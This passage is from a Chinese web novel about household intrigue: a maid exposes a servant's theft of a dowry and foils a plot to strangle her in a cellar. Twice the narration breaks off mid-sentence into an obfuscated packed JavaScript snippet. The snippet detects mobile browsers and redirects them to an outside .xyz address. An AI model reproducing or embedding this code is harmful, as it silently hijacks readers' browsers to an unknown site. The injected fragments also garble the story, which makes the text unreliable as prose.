这当行生意一直一般,毕竟陈姨娘不得宠,他们也没法子靠着陆府的声名去做买卖。只是听说,最近陈家当行的生意似乎好了许多。 陆屏忽然穿金戴银,她生母家也忽然发达起来了,这其中,必定有联系。 但这又与渚碧有什么关系呢,难道是渚碧偷陆沁的东西给陆屏,陆屏再以当行的方式将这些东西流通出去? 她忽然想起,陆沁的小库房,可都是由渚碧看管的。而府中人都知道,先夫人身份显贵,当初带着浩浩荡荡的十里红妆嫁入陆家,她身死后,这嫁妆就全留给了陆沁。 若是渚碧想动歪心思,和陆屏狼狈为奸,那这嫁妆就是最好的东西。 果然,她稍稍一打听,就知道这库房只渚碧一个人经手,旁人只要稍稍靠近,就会受渚碧责罚。 而她与陆屏交易的最好方式,就是利用陆沁给陆屏送东西的时间,混在那些东西里一起转移。 所以她上次看见的那一幕——渚碧拿着食盒递给白嬷嬷,第二层却忽然掉出来一个小东西。那东西估计就是嫁妆里的小首饰了。 也难怪渚碧如此紧张,一次次要将她灭口。她还疑惑渚碧这样逼她,难道不怕她说出什么来。 可能渚碧觉得,她凌青就算看到了那首饰,也联想不到嫁妆。但未灭有朝一日东窗事发,只能迅速除掉她。 只是这些………她当然不能和陆沁说。 只有渚碧一个人还好,可此事牵扯到了五小姐陆屏,水深着呢。她要是冒然掺合到里面,那可就事大了。 凌青沉吟片刻,缓缓开口:“奴婢只是偶然撞见渚碧从库房出来,身上掉出来一块发光的东西,似乎是首饰,这才起了疑心。” 陆沁听了这话,知道此事是事实后,已然彻底绝望。她看着渚碧,眼中满是痛苦:“我最后问你一次,那些东西你都拿到哪里去了?” 渚碧依然只是哭泣,不肯开口。 陆沁闭上眼睛,深深吸了一口气,再睁开时,眼中已经是一片死寂。 她无声流泪,看向陆老夫人:“祖母,渚碧她......她毕竟从小就跟着我长大,念在这份情谊上,您......您能否饶她一命?” 陆老夫人眉头深锁,声音严厉:“沁儿,你也太心软了。这等忘恩负义、监守自盗的奴才,若不好好责打,如何能问出那些嫁妆的下落?” 林雪桐在旁轻声道:“母亲说得是。沁儿,你母亲留下的那些东西,都是她对你的一片心意,怎能就这样不明不白地没了?” 陆沁心中不忍,连忙道:“祖母,我只求您留她一命......” 陆老夫人轻叹一声,似乎是认清了自己这个孙女的菩萨心肠。她眼中闪过一丝无奈:“既然沁儿为你求情,我便不要你的命。但你这等行径,绝不能轻恕。来人,将她拖下去好好责打,什么时候说出那些嫁妆的去处,什么时候停手!” “是!”几个婆子应声上前,架起渚碧就要往外拖。 渚碧拼命挣扎,哭喊道:“小姐!小姐救我!我真的没有......我没有......” 林雪桐见陆沁泪如雨下的样子,连忙上前轻抚她的肩膀:“沁儿,你别太难过。她毕竟是跟了你多年的人,只是一时糊涂,她也是知道大是大非的,等她想通了,自然会说实话的。只是这种人,万万不能留到身边了,给她点银子打发她离开,外面自会有她的出路。” 陆沁看着渚碧被拖下去,泪流满面。 ————— 夜色渐深,陆屏的屋里却还是燃着烛火。 陆屏坐在梳妆台前,手中拿着一支珠钗,那是前几日新买的,成色极好。可此时她却无心欣赏,只是麻木地转动着手中的钗子,眼神空洞,仿佛失了魂魄一般。 珠钗划过桌子时,发出难听的摩擦声,一圈,又一圈………她却浑然不觉。 “吱呀——” 房门被轻轻推开的声音让陆屏浑身一震。她猛地抬起头,看到白嬷嬷的身影出现在门口。 “嬷嬷!”陆屏蹭地一下站起身来,声音急切得变了调,可刚一出口她就意识到声音太大了,连忙压低声音,但整个人都在颤抖,“怎么样?什么情况?” 白嬷嬷走进来,神色有些疲惫,她抬起头,轻声道:“小姐,渚碧被抓了,偷盗之事败露了。” 这句话如同晴天霹雳,陆屏只觉得眼前一黑,整个人摇晃了一下,若不是白嬷嬷及时扶住,她几乎要跌坐在地。 “怎么会......”陆屏的声音细如蚊蚋,“怎么会被发现的?明明.....……” 她想说明明这计划是天衣无缝的,毕竟那渚碧曾跟她保证过,说陆沁如何如何信任她,此事就算被发现也必不会追究于她。且那嫁妆数量繁多,少几件根本查不出来,就算陆沁出嫁,那嫁妆也是由她核对,不会经过别人之手。 可事到如今,说什么都没用了。 陆屏跌坐在椅子上,双手掩面,心如死灰。完了,全都完了。 她的好日子才过了几个月,就又化为乌有了。这些日子,她过得是何等风光,有了银钱,她终于能买得起好的首饰衣裳,府中的丫鬟婆子们都对她客气了许多,宴席上的那些贵女们不会再刻意无视她了。就连陈姨娘,这些日子脸上都有了笑容,不再是从前那副愁眉苦脸的模样。 而现在………一切都如泡影般破碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969277|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,甚至可能会比以前更糟。 “小姐,您别慌。”白嬷嬷在她身边坐下,轻抚着她的后背,“事情还没到最坏的地步。” 陆屏放下双手,眼中满是绝望:“还能有什么转机,渚碧一看就不像能受得了责罚的,她一定会将我供出来。” “五小姐,就算她真的开口,您也毕竟是府中的小姐,是主子,老夫人再怎么样,也不至于要了您的命吧。” 陆屏点点头,努力让自己平静下来。是的,她是陆府的五小姐,纵然不得宠,也是陆府的主子,他们能把她怎么样。大不了………大不了就是回到之前那种生活。 可是白嬷嬷接下来的话,却让她的心再次沉入谷底。 “只是......…小姐在府中的处境,您自己也知道。若是真的被查出来,老夫人很可能会以随便找个由头,将您发配到庄子上去。” 陆屏的脸瞬间变得煞白。庄子………那荒郊野岭的地方,离京城有着几十里路。吃的定是粗茶淡饭,住的是低矮潮湿的房子,每日里还要做农活……… 祖母一向严厉,最恨的就是府中出现败坏门风的事情。而她,一个不受宠的庶女,定然会被祖母就这么发配了! “不......”陆屏的声音颤抖得厉害,“我不要去庄子,我绝对不要去那种地方!” 她叫到最后,已经发不出声音,无力的地瘫倒在椅子上,像被抽干了精神一般。 屋里陷入了沉寂,只有烛火轻轻摇曳。 良久,白嬷嬷忽然开口,声音很轻,却带着一种令人毛骨悚然的狠绝:“五小姐,既然事情已经到了这一步,那就只有一个办法了。” 陆屏缓缓抬起眼睛。 “一不做,二不休。”白嬷嬷一字一顿地说道,“让渚碧………永远开不了口。” 陆屏愣了一下,随即明白了白嬷嬷的意思。她瞪大了眼睛,满脸惊恐:“你……你疯了吗?那是......那是杀人!” 白嬷嬷知道她心中挣扎,却仍是强行抓住她的胳膊,低声怒吼道:“小姐,此时您还有什么资格妇人之仁!若是让她开了口,不但您要完,连姨娘也会跟着受牵连。您忍心看着姨娘为了您的事情受罪吗?” 陆屏的泪水夺眶而出。是啊,还有姨娘。如果她出了事,姨娘在这府中的日子只会更加难过。 她沉默片刻,终是缓缓开口。 “………要怎么做?” 白嬷嬷走到她身边,压低声音道:“这个您不用担心,老奴去找主子商议。主子答应过会护着您的,这种时候,他也比任何人都希望渚碧死。” 听到“主子”二字,陆屏的眼神变得复杂起来。的确,现在来看,那个人是唯一能救她的。 ———— “姐姐,姐姐?” 直到红袖在她面前摇手,凌青才反应过来。 “怎么了?”她定了定神,平静问道。 “姐姐,第一次看你这样,我叫了你好几声都没反应。你是不是被渚碧那事吓坏了啊。”红袖自认识凌青以来,就鲜少看到凌青愣神。她不由心里想到,凌青再强大再冷静,也不过还是个十八岁的姑娘,遇到了这么大的事,定然会害怕。 “………没有,我只是有些,有些事情还没有搞懂。” 渚碧被拖下去后,她才忽然想起这个关键的问题,那就是————渚碧为什么帮着陆屏去偷盗嫁妆呢? 她深得陆沁信任,却冒着如此大的风险去做这件事,关键时候还无人能保她。她到底图什么呢? 陆屏自然是想要钱,让自己过的光鲜亮丽。可渚碧是陆沁的贴身侍女,甚至算得上陆沁的半个家人,她是不缺钱财的。 只要她想要的,陆沁就没有不给的。除去平日的月银,和陆沁时不时的赏赐,她每年生辰还会得一套价值不菲的头面,就这还不够吗。 除去这些钱财方面的……那就只有感情方面的了。 莫不是渚碧有什么把柄,被陆屏抓住了? 总不能是………渚碧喜欢陆屏吧。 凌青越想越觉得这其中关系错综复杂,但她不能不深究。谁也不知道,这背后会不会牵扯到关于姐姐的线索。 只是,渚碧也不知被关到哪去了,就算知道地方,也一定看守森严。否则,她还真想混进去旁侧敲击的诈一诈她。 她桌前的烛火忽然猛地一跳,凌青的心也忽地跟着紧揪了一下。 不对……不对……… 她进不去,不代表别人进不去。 渚碧现在被关着受刑,也不知她会不会吐露真话,但如果她真的是因为什么别的原因而和陆屏达成合作的话,那指示她做这事的人……定会……… 灭口! 凌青猛地站起身来,把旁边的红袖吓了一大跳。 21. 灭口 见证灭口 手起棍落 凌青快步走出茶药间,却忽然在门口停住。 渚碧的下场实在是不够惨烈。这人不知为何从一开始就对她抱有恶意,后来又在煎药上做手脚陷害她,又在众人面前诬陷她巫蛊之事,招招都是下死手。如今渚碧却能留得一条命在,实在是对自己最大的不公。 只要她什么都不说,渚碧必遭灭口。 可……… 若她真的就这么死了,那有关于陆屏这条线的线索就彻底断了。 她倒不是非要刨根究底,可若是万一……万一这条线索沿着蛛丝马迹,能带出一点关于姐姐的线索呢? 这个念头一起,凌青就再也无法平静了。她想起姐姐,想起父亲,这一切的一切至今为止仍然毫无进展,她心中瞬间如有一团火在燃烧。 只要有这个可能性,她就不能让这机会白白溜走。 凌青主意已定,快步向陆沁的主屋走去。 夜风轻拂,带着初春的寒意。此时已到了该就寝的时间,但主屋的窗棂还透着几丝暖光。 “二小姐,您还没有歇息吗?”凌青在门外轻声唤道。 屋内先是寂静,很快便有了放下东西的声音。 “凌青?”陆沁的声音从屋内传来,带着几分意外和疲惫,“这么晚了,你怎么来了?进来吧。” 凌青推门而入,只见陆沁正坐在窗边的软榻上,膝上放着一本书,书是崭新的,显然虽然拿着,但一直没有心思看。她长发只是简单地挽着,整个人显得憔悴了许多。 这两日发生的事情,看来对她打击不小。先是巫蛊之术,后来又牵扯到渚碧叛主的事情。她现在也相当于失去了一个从小最信赖的家人,心情可想而知。 “小姐,奴婢有件事一直放心不下,想和您商量。”凌青走到近前,神色恭敬中带着一丝担忧。 “什么事?你说。”陆沁把书放到案上,转过头来看着她。 “奴婢一直在想渚碧的事情………虽然她做错了事,但毕竟跟在您身边这么多年,她一向心高气傲,怕是受不了这落差感。奴婢虽然也不喜她,但毕竟也曾共事过,奴婢怕她一时想不开……… 陆沁脸色顿时变了:“你是说,她可能会.....…” “人在绝望的时候,什么事都做得出来。”凌青轻叹一声,"虽然渚碧陷害过奴婢,但奴婢总不能眼睁睁看着她出事。再说,她跟在您身边这么多年,若真的出了什么意外,二小姐您也会难过的。” 陆沁听了这话,心中五味杂陈。她确实一直沉溺在渚碧的事情里,丝毫走不出来。一会儿痛恨她的背叛,另一会儿又忍不住担心她的安危。毕竟是从小一起长大的人,就算犯了错,她也不希望她出什么意外。 “凌青......”陆沁的声音渐渐有些哽咽,“我真是对不起你。渚碧之前陷害你,我虽信你,却没有给你一个公平,还保下了渚碧,是我欠你一句道歉。” “小姐,您的不易和为难奴婢都懂,奴婢也没有怪过小姐。” 她当然不怪陆沁,因为她从来没指望过陆沁会无条件站在她这边。反正她要的公平,她自己可以实现, “事到如今,你还在替渚碧着想………”陆沁眼圈又红了,她不由握住凌青的手。这一刻,她真的觉得凌青可靠而又温柔,像坚实的臂膀一样能让她倚靠。 “小姐言重了。”凌青连忙说道,“现在最要紧的是别让渚碧出什么事,要不现在就去看看,奴婢陪着您。” “可是祖母说了,在事情没有定论之前,谁都不许去见她。” “您是渚碧的主子,去看看她,宽慰宽慰她,也是应该的,老夫人也一定不会怪罪于您。”凌青觉得自己这话谄媚极了。 陆沁沉默了良久,内心在做着激烈的斗争。她想起这些日子凌青受的委屈,想起渚碧可能的处境,最终,她点点头。 “这是我最后一次管她。”陆沁起身道,“她不禁不顾我们主仆之情,还妄图想致你于死地。我会救她,但绝不会原谅她。” —————— 地窖位于府中最偏僻的西北角,那里原本是存放杂物的地方,后来改建成了关押犯错下人的所在。平日里少有人至,只有几个粗使小厮轮流看守。 凌青和陆沁提着一盏灯笼,沿着崎岖的小径慢慢走去。夜色浓重,四周静得有些可怕,只有她们的脚步声在空旷的夜里回响。 “真没想到………我与渚碧有一日会这样相见。”陆沁语气中带着说不出的苦涩:“凌青,你说我是不是太没用了?被背叛,我却仍割舍不下这段感情。我真的………太窝囊了。” 是挺窝囊的。凌青心想,渚碧能有今天,也有陆沁的责任。她从不约束下人,任由下人踩在头上。平日无论是谁欺负她,她都从不还击,甚至还替对方求情。这样好欺负的人,也难怪渚碧越来越胆大包天。 人可以温柔有情,但不可以窝囊软弱。她实在不明白,陆沁一个高门大户里长出的人,还自小饱读诗书,为何会有这么一副白莲花心肠。 两人继续往前走。很快,她们来到了地窖的入口处。这里平日里都是有家丁守着的,但奇怪的是,今夜竟然空无一人。 凌青心中起疑,脚步不由得放慢了些。她装作不经意地四下张望,眼中闪过一丝警觉。 “怎么没有人守着?”陆沁也察觉到了异常,声音中带着疑惑。 “也许是有什么急事被调走了。”凌青表面平静地回答。 两人沿着石阶慢慢走向地窖深处。石阶很窄,只能容一人通过,两侧是冰冷的石壁,空气中弥漫着潮湿霉腐的气味。灯笼的光芒在黑暗中显得微弱,只能照亮前方几步的距离。 四周安静得只能听到自己的脚步声和心跳声。 就在这时,凌青忽然听到了另外的声音————那是从另一个方向传来的脚步声,很轻很轻,但还是被她敏锐地捕捉到了。 她立即伸手拉住陆沁,示意她不要出声,然后迅速熄灭了灯笼。 “凌青?”陆沁被这突然的动作吓了一跳。 “嘘———”凌青在她耳边低语,“有人来了。” 两人摸黑躲到了一处突出的石柱后面,屏住呼吸等待着。陆沁紧紧抓着凌青的袖子,心跳如鼓。 很快,那脚步声越来越近,伴随着窸窸窣窣的声音。在黑暗中,两个身影出现在了地窖的入口处。 为首的是一个披着暗色斗篷的女子,身形纤细,走路时微微颤抖着,正是三小姐陆屏。跟在她身后的,是一个年约五十的嬷嬷,手中提着一盏小灯笼,正是白嬷嬷。 “嬷嬷,真的要这么做吗?”陆屏的声音很低,但在寂静的地窖中还是清晰可闻,带着明显的恐惧和不安。 “不这么做还能怎么办?她知道的太多了,万一她全都说出来,五小姐你可就彻底完了。而且主子说了,绝不能让她开口。” 躲在暗处的陆沁眼里露出了震惊,她不敢相信自己听到了什么。 陆屏?自己最小的五妹妹? 她印象中的陆屏一向是怯生生的,和自己也不亲近。但她一直可怜这个无依无靠的小妹妹,有什么东西也总是想着给对方一份。 她………她却是幕后那个挑动渚碧的人? 为什么?为什么?为什么她给予过善意的人,全都要这样背叛她? 她有些想发出声音,却忽然被一只冰凉的手捂住嘴。 陆沁看向身侧的凌青,黑暗中她的表情极其模糊,看不清任何神情。但那只冰冷纤细的手,却让陆沁焦躁的心情瞬间冷静了下来。 关在囚牢中的渚碧显然也听到了陆屏的声音,她立即从草铺上爬起来,趴到栅栏边向外张望:“谁?是谁来了?” 一片黑暗中,陆屏缓缓提起灯,照亮自己的半张脸。 看到是陆屏,渚碧眼中立即闪过狂喜的光芒:“五小姐!五小姐您来了!您是来救我的对不对?我什么都没有说,什么都没有说!求您救救我,二小姐已经对我失望透了,不可能再来救我的,我只有依靠您了!” 陆屏看着渚碧期待而卑微的眼神,脸上露出了尴尬的表情。她咬着下唇,眼中含着泪水,在黑暗里沉默着。 “五小姐?” 过了许久,陆屏声音颤抖道:“对……对不起……” 听到这四个字,渚碧脸上的喜色瞬间凝固了。她愣愣地看着陆屏,慢慢地,慢慢地,她明白了什么。 “五小姐,您......您不是来救奴婢的?”渚碧的声音开始颤抖,眼中的希望一点点地破灭,“您是来......您是来......” “主子那边虽引开了守卫,但时间有限,赶紧动手吧。”白嬷嬷催促道,从袖中取出了一条白绫,“小姐,您别心软了,这是没有办法的事。” 看到那条白绫,渚碧彻底明白了她们的来意。她脸色瞬间变得惨白,身体不受控制地向后退去:“不......不要......求求您,小姐,我真的什么都没有说......我发誓,我什么都不会说的......” “渚碧,你知道的太多了。”陆屏的声音里带着哭腔,“我也不想杀人,可是我没有选择。你要怪,就怪自己当初为何要答应我。” 陆屏的手抖得更厉害了,她看着白绫,又看看渚碧绝望的表情,迟迟不敢上前。她虽不得宠,但也是正经的小姐,连杀鸡都不敢,哪里敢下得去手。 “小姐,您别看了,让奴婢来动手。”白嬷嬷见状,只能自己上前,“您去外面望风,免得有人来。” 她一步步走向囚牢,手中的白绫似乎在这一片黑暗中泛起了冷光。 “不——不要!救命!救命啊!”渚碧终于忍不住尖声大叫起来,声音在地窖中回荡,显得格外凄厉,“不是我愿意干的!不是!你们为什么要这样对我!” 陆沁听到渚碧的尖叫,再也忍不住了,冲出去要阻止这一切。 凌青眼疾手快,一把拽住了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979936|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将她拉到自己身后,然后自己抄起身边一根废弃的木棒。 白嬷嬷此时正专心致志地打开囚牢的锁,完全没有察觉到身后的危险。她嘴里还在念叨着:“渚碧,莫怪我和五小姐,你只能怪你是个丫鬟,生来就是要被舍弃的———” 就在她举起白绫,准备勒住渚碧脖子的瞬间,凌青已经悄无声息地绕到了她的身后。 她毫不犹豫地举起木棍,狠狠砸在了白嬷嬷的后脑上。 “啊———” 几声尖叫同时响起,在地窖中形成了刺耳的回音。 白嬷嬷应声倒地,后脑勺鲜血直流,手中的白绫也掉在了地上。陆屏终于反应过来,看着倒在血泊里的白嬷嬷,一下子瘫倒在地上。 她无力地仰着头,瞳孔里映出面前少女瓷白的面容。没有惊慌,也没有畏惧,那近乎漠然的眼睛,连睫毛都不曾颤动半分。 少女就这么垂着眼,看着地上的白嬷嬷。木棍上的血顺着她的手腕往下淌,渐渐滑到指尖,最后“嗒”地一声滴在地上。 ————— 正厅内,烛火通明。 陆老夫人端坐在主位上,威严的目光扫视着下方的众人。林雪桐坐在下面,眉头紧蹙,时不时侧过头去轻抚着陆沁的肩膀。 陆沁面色苍白的坐在那里,显然还没从刚才的变故中缓过神来。 厅门外传来一阵轻缓的脚步声,伴着衣袂轻摆的细微声响。接着,一个身影缓缓步入正厅。 凌青不由抬起头。 来人身着一袭月白色长袍,袍上绣着竹叶纹样,质地上乘却不张扬。身材颀长清瘦,步履从容不迫,既不急躁也不拖沓,举手投足间透着深厚的文人修养。 他面容清雅俊秀,眉眼间带着常年读书养成的温和气质。鬓角有了些许银丝,但这不仅没有减损他的风采,反而增添了几分成熟儒雅的韵致。 终于见到这府里的主人了………翰林学士兼礼部尚书———陆秉风。 他的确如大家说的一样,一举一动风骨尽显,难怪不惑之年就已做到正三品官员,名列文人之首。 “母亲。”陆秉风向陆老夫人行礼,“这么晚了,母亲还不休息。” 陆老夫人冷哼一声:“坐下说话。这件事,你也该好好听听。” 陆秉风在老夫人的侧位坐下,目光扫过跪在地上瑟瑟发抖的陆屏,以及一旁脸色苍白的陆沁,眉头微蹙:“到底发生了何事?大晚上都聚齐了。” “你问问你的好女儿做了什么好事!”陆老夫人怒气冲冲地拍了拍扶手。 陆屏此时已经没有了白嬷嬷出主意,面对祖母和父亲的威严,她再也撑不住了。在众人的注视下,她哭哭啼啼地开始招认。 “父亲......女儿知错了......"陆屏抽泣着说道,"女儿......女儿确实和渚碧一起,拿了二姐姐的一些嫁妆去当铺换银子......” 陆秉风听到这话,温润的面色略沉,眼中闪过一丝不悦。他端起茶杯,慢慢抿了一口,放下道:“沁儿的那些嫁妆,都是她亡母的遗物。” 他看向陆屏,眼神淡漠如水:“你这样做,让陆家颜面何存?” 林雪桐连忙打圆场道:“老爷,屏儿也是一时糊涂......” “一时糊涂?”陆秉风的声音依旧平和,但其中的冷意却让人不寒而栗,“十五岁的人了,还能说是糊涂?果真是什么样的人生什么样的人,沁儿和皎儿就不会干出这种事。” 陆沁见父亲如此,连忙起身跪下为妹妹求情:“父亲,女儿不怪五妹妹,那些嫁妆....….” “沁儿!”陆老夫人严厉地打断了她,“你这般心软,只会让人变本加厉!你看看她做的好事,不仅偷盗,还敢去杀人灭口!我们府里怎么能容得下这种人!” “杀人灭口”四个字说出来,陆秉风的眉头几不可查地皱了一下。 凌青也垂下眼,那白嬷嬷被她一下子打晕过去,到现在恐怕还没醒。不过还是不要醒来的比较好,陆屏可以没事,但她白嬷嬷是必死无疑了。 “祖母,父亲,母亲,求您饶了屏儿这一次吧!”陆屏磕头如捣蒜,“屏儿再也不敢了!” 陆老夫人看着跪在地上的陆屏,冷冷道:“既然犯了错,就该承担后果。从今日起,你去庄子上,什么时候能把沁儿的损失全部偿还,什么时候再回来。” 那些嫁妆件件价值连城,她如何能还回来!这莫不是要将她关在庄子里一辈子,永远不能回来吗! “祖母,屏儿真的一时糊涂,只是想拿些钱财装扮一下自己,这才起了歪心思,屏儿从来没有对二姐姐有过不敬之心!”她扑倒在地上,额头磕在砖面上,发出沉闷的“咚咚”声。 陆老夫人转向陆秉风:“你觉得如何处置?” 陆秉风淡淡道:“听母亲的便是。”他眼神丝毫没有对这个女儿的半点怜惜,甚至连情绪波动都没有,仿佛这一切都与他无关。 22. 画皮 就在这时,林雪桐忽然开口:“母亲,老爷,妾身觉得......…送去庄子毕竟传出去不太好听。妾身倒是想起一件事。” 众人看向她,林雪桐缓缓说道:“前些日子,户部尚书府的管家托人来说亲,说是他们家的小公子到了该成亲的年纪,想在咱们府中挑选一位小姐。” 凌青眉头一跳———这事她可从来没听说过,她日日打探府中消息,虽说陆府有不少人上门来说亲,但这些里可没户部尚书家的公子。 为什么她会记得这么清楚,是因为库房的凝儿曾与她讲过一件风流韵事。 半年前,京城城南的“醉月轩”闹出过人命。 醉月轩,一听名字就知道是个风月之地。但这可不是一般的青楼妓院,而是专养小倌人的地方。 户部尚书家的小公子是那里的常客,看上了醉月轩新到的清倌。偏生那清倌被一个外地富商抢先点了牌子。那小公子直接就闯入暖阁,将那富商打得肋骨都断了三根,听说当时吐出来的血都溅了满帐。 后来,那富商被人抬回家,没熬过三天,人便没了。这事闹得大,但很快就被掩盖下去,那富商家也不知如何被安抚好了。 是断袖倒也不是什么问题………可一个暴躁易怒,还打人的断袖,想求娶一个女子帮他遮掩断袖的名号,这就属实是造孽了。 这种事,即使费力遮掩,但只要稍加打听就不难打听到。所以这小公子怕是娶小门小户家的女儿都娶不来,哪敢求娶礼部尚书家的女儿? 所以,林雪桐这话……… 林雪桐却丝毫没察觉出有什么问题,只是一副为陆屏着想的样子:“那位小公子虽是爱玩闹了些,但总归出身名门,人品也是不会错的。屏儿若是能与他们杨家结亲,对我们陆家来说也是一桩美事呢。” 陆老夫人眼中闪过一丝精光,缓缓点头:“这倒是个办法。” 林雪桐笑容更温柔了些:“屏儿这次是犯了大错,但她年纪最小,做母亲的也不能看着她在庄子上蹉跎终生。这杨家公子据说生得也是一表人才,配屏儿正合适。” 陆老夫人似乎也很是满意。她自然知道这那些风流韵事,只是杨家这些年里头十足,大女儿在宫中颇得圣宠,圣上近日又将漕运整顿的差事交给了杨尚书,那可是个肥差。虽说这杨家小公子名声确实不太好听,但陆家嫁的不过是个庶女,既不会损了陆府清流名声,又能让杨家欠他们一个人情。这笔买卖,倒是不亏。 她看向陆秉风:“我儿觉得如何?” 陆秉风端坐在那里,神情淡漠如深潭,无波无澜,他既不点头也不摇头,只是淡淡道:“母亲做主便是。” 似乎陆屏这个庶女无论是送去庄子,还是嫁人,对他来说都无关紧要。 陆老夫人点了点,目光转向跪在地上瑟瑟发抖的陆屏:“老五,你自己选吧,是去庄子上思过,还是嫁到杨家去?” 陆屏跪在冰凉的青砖上,整个人都在颤抖着,听到祖母的话,她先是愣了愣,整个人都是不可置信的。 户部尚书家的嫡子!这娶她的两个嫡姐都是娶得的,这种世家公子竟然会落在她一个庶女身上! 震惊过后,便是狂喜如潮水般涌上心头。她原本以为这次要彻底完了,要在那个庄子上草草一生。可现在竟然告诉她,她能嫁给杨家的公子! 这简直是因祸得福啊! “屏儿……屏儿愿意!”她连忙磕头,声音高兴的颤抖,眼中满含泪水:“屏儿愿意嫁到杨家!谢祖母开恩,谢母亲成全!” 凌青看着陆屏那欣喜若狂的模样,只觉得越发讽刺。 陆屏以为这是救赎,殊不知嫁给那暴躁自私的杨家小公子,只会是另一层炼狱。 若是让她选,还不如去庄子上。就算苦点累点,但有朝一日,说不定还有逃出来的机会。 可若嫁进杨府,那就真的生是他们家的人,死是他们的家的鬼。那杨小公子能为了一个小倌争风吃醋而杀人,就更不会将陆屏这种懦弱、无依的人当成人。 座上的林雪桐也在看着陆屏,嘴角似乎勾起了一丝几不可查的冷意,但转瞬即逝,又恢复成了慈母神色:“屏儿,你愿意就好。” 陆屏还沉浸在巨大的喜悦中,以为此事会就这么过去时,却听见老夫人缓缓开口:“不过…………” “既然你犯了滔天大错,总是要受些惩罚的。”陆老夫人的声音不疾不徐,但其中威严让人不敢忽视:“这样吧,你年纪还小,从今日到你出嫁之前,你就在自己院子里好好反省,禁足两年,不得踏出院子半步。” 陆屏脸上的笑容瞬间凝固住了,她哽嗫着:“祖母……” “怎么?”陆老夫人目光如炬:“你还有异议?” “不………不敢。”陆屏不住摇头,但眼里还是盛满泪水,泪珠“嘀嗒”地掉在地上。 “两年,足够你好好反省自己的过错了。”老夫人向外挥挥手:“来人,送五小姐回院子。记住了,不许让她出来,也不许放人进去,否则与她一同受罚。” 几个嬷嬷一同上前,将还想求饶的陆屏搀扶起来,半推半拉地带了下去。陆屏的哭声渐行渐远,她的身影也消失在夜色中。 厅中瞬间安静了许多,但陆老夫人并未就此罢休。她看向一旁候着的兰嬷嬷:“老五背后那些人,查得如何了?” 兰嬷嬷连忙上前,恭敬地呈上一本账册:“回老夫人,已经查清楚了。五小姐不知何时与她生母家联系上了,这户人家这些年确实贪墨了不少嫁妆,具体数目都记在这里。” 陆老夫人接过账册,随手翻了几页,脸色越发阴沉:“好大的胆子!” 她将账册重重拍在桌上:“传我的话,让他们把这些年吞下去的一文不少地吐出来。敢有半分推脱,直接扭送官府!” “是!老奴这就去办。”兰嬷嬷领命而去。 陆老夫人冷哼一声:“我念在血脉亲情饶了老五,但这些蛀虫,一个都别想逃脱。”说完她这才转向一直沉默的陆沁,神色温和了不少:“沁儿,这些日子委屈你了。” 陆沁将头慢慢斜靠在陆老夫人膝头上,喃喃道:“祖母,我不委屈。只是,渚碧已经将她和五妹妹做的事招认了,既然如此,此事就此作罢,绕她一命吧。” 陆老夫人看着陆沁恹恹的神色,既是疼惜又是无奈。这个孙女自小养在她身边,却丝毫没有学得她的雷霆手段,对谁都能生出恻隐之心。这是好事,也是坏事。 只是她到底心疼这个孙女,沉吟片刻,还是点头:“也罢,留她一命吧。让她明日一早,就收拾包袱离开,此生不许再踏进陆府半步。” ————— 又一个下午,凌青独自在茶药间忙碌着。 之前的变故虽然已经尘埃落定,她这个接连被陷害的“冤大头”,也算是又在陆府出了一把名。 可惜,再出名也是个丫鬟。茶药间的事务也没因她出名而少了半分,她还得继续干活。 她正将新送来的药材一一分门别类,忽然听到一阵悠扬的笛声从窗外传来。 那忽然出现的笛声,竟清越如山涧流水,婉转如啼莺百啭,在这午后的宁静中显得格外空灵,凌青手中整理的药材一顿,不由得侧耳一听。 这声音………好像是从她们茶药间后院传出来的。 她犹豫了片刻,还是放下手中的活计,循着笛声走了出去。 笛声引着她穿过几道回廊,来到了之前清理出来的后院匝道。这里打扫出来后宽敞了许多,但仍然人迹罕至,只有她偶尔来这放点东西。 匝道两旁种着几株海棠,正值花期,粉白色的花瓣在春风中飘洒,如雪一般纷扬落下,在地上铺了一层厚厚的“霜”。 匝道的尽头是一堵高墙,墙角边生着一丛翠竹,竹叶在微风中轻轻摇摆,发出细微的“簌簌”声。 逄楚之就倚在那高墙边,一身月白色的袍子与落花融成一片,分不清是花沾了衣,还是衣化成了花,他这幅样子倒真有点恍若谪仙。 他手中拿着一支青玉笛子,正闭着眼专心吹奏。午后的光亮从竹叶间洒下,在他身上投下斑驳的光影,让他整个人看似笼罩在一层温柔光晕中。 察觉到脚步声,逄楚之睁开眼。 “姐姐来了。”他放下笛子,脸上露出个温柔至极的笑容:“是我的笛声打扰到你了?” 凌青脚步微顿,紧接着慢慢走向他。 “没有,你吹的挺好听的。” 逄楚之听她这么一说,脸上闪过一丝意外,随即又变成欣喜。 “姐姐,”他声音带着少年特有的清澈,“之前每次见面,你都感觉不太喜欢我。这可是你第一次,第一次认真的夸我。” 那他感觉错了,何止是不太喜欢。 但凌青这次没再呛他,她只是静静地看着他,过了许久,才忽然开口:“我要谢谢你。” 声音依旧清冷,但语气却比往日里缓和了很多。 逄楚之愣住了,有些不敢置信地看着她。 “之前在老夫人面前,你为我说话,我记住了。”凌青定定的与他对视,认真地说道,“就冲这个,我也不会再像之前那样夹枪带棒了。” 逄楚之过了许久才反应过来,有些不好意思的抓了抓脸,羞涩笑道:“啊,你说这个啊………” 